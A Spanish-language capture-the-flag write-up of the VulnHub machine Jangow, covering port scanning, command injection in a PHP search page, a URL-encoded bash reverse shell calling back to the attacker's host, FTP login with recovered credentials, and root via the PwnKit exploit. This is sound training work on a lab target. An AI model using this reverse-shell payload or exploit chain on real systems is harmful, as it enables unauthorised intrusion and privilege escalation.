Llevaba tiempo sin tocar ninguna máquina de esta legendaria plataforma llamada VulnHub y la verdad es que nunca he llegado a engancharme tanto como si lo he hecho con HTB o THM, incluso RootMe, pero de casualidad ayer junto a un colega del trabajo quien tenía algunas dudas puntuales, me puse a revisar esta máquina y me quedé bastante motivado para traeros en primer lugar este write-up y por que no? iniciar esta sección donde se cubra otras máquinas disponibles de esta plataforma. Por ahora, aquí les dejo Jangow:

OSRELEASEDIFFICULTYAUTHOR
LINUX04/NOV/21EASYJangow

Resumen:

  • Enumeración de puertos y servicios con Nmap
  • Análisis de la aplicación web
  • Fuzzing de directorios y ficheros (visibles y ocultos)
  • Reutilización de credenciales y acceso a servicio FTP
  • Obtención de usuario / Captura del fichero user.txt
  • Escalada de privilegios / Captura de fichero root.txt

Enumeración:

Iniciamos con un Nmap típico:

nmap -sS -sV 10.10.10.13

Arrancaremos el análisis por medio del servicio HTTP.

Aplicaciones web:

Al visitar la aplicación web mediante un navegador, observamos el siguiente contenido:

Pulsando sobre el directorio site dejamos atrás el directory listing para conseguir la siguiente vista:

Aquí, revisando las secciones de la aplicación se observa el siguiente recurso:

Después de testear un buen rato esta entrada de datos, se evidencia que es posible ejecutar comandos en el sistema:

Emplearemos este vector para leer el fichero busque.php y conocer el tratamiento que se le da a la entrada de datos (input):

Una vez evidenciado, aprovecharemos esta oportunidad para ejecutar nuestra reverse shell. Lo primero será preparar nuestro payload, esta vez lo codificaremos (URL Encode), para ello emplearemos el poderoso CyberChef.

nc -lvnp 443
curl -si "http://10.10.10.13/site/busque.php?buscar=%2Fbin%2Fbash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E10%2E10%2E10%2F443%200%3E%261%27"

De forma adicional haremos un tratamiento de la TTY:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=screen-256color
[Ctrl + z]
echo $TERM
stty raw -echo
fg
[INTRO]

Fuzzing:

Mediante la herramienta Wfuzz haremos fuzzing de directorios y ficheros:

wfuzz -u http://10.10.10.13/.FUZZ -w /usr/share/dirb/wordlists/common.txt --hc 404,403

Este fichero oculto es bastante enriquecedor, lo visualizamos mediante el navegador y ojo:

Credenciales halladas:

Las credenciales halladas si bien parecen ser de conexión a una base de datos, también nos valdrán para conectaremos al host mediante FTP:

hydra -l jangow01 -p abygurl69 ftp://10.10.10.13

Obtención de usuario:

Volviendo al punto de la primera intrusión, revisaremos el activo en búsqueda de los usuarios del sistema:

cat /etc/passwd | grep sh

Ubicando el usuario jangow01, es hora de comprobar si la contraseña que disponemos para este usuario es válida:

Al serlo, es hora de obtener la primera flag, la del usuario.

Escalada de privilegios:

Para obtener la escalada de privilegios inicialmente comprobamos el listado de binarios que puedan tener permisos SUID.

find / -perm -4000 2>/dev/null

Rápidamente me percato del binario pkexec, revisemos sus propiedades:

Efectivamente como lo ves, podemos valernos de la vulnerabilidad recientemente publicada (CVE-2021-4034 aka Pwnkit). Para ello emplearemos el siguiente exploit: https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c

Por alguna razón que no me he puesto a resolver, no logro descargar el contenido ofrecido desde mi host al objetivo, por tanto tomaré la vía de FTP para llevar el exploit de la vulnerabilidad Pwnkit, compilarlo y posteriormente ejecutarlo.

Fuera del FTP, llega el momento de compilarlo:

Si todo ha ido bien, pondremos en marcha el exploit para conseguir escalar privilegios:

Ya bajo el root, terminamos leyendo la flag respectiva:

Muy entretenida la máquina como habéis visto. Sin duda una buena forma de adentrarnos con VulnHub, espero traeros pronto una nueva máquina de esta plataforma. Nos vemos!

Referencias: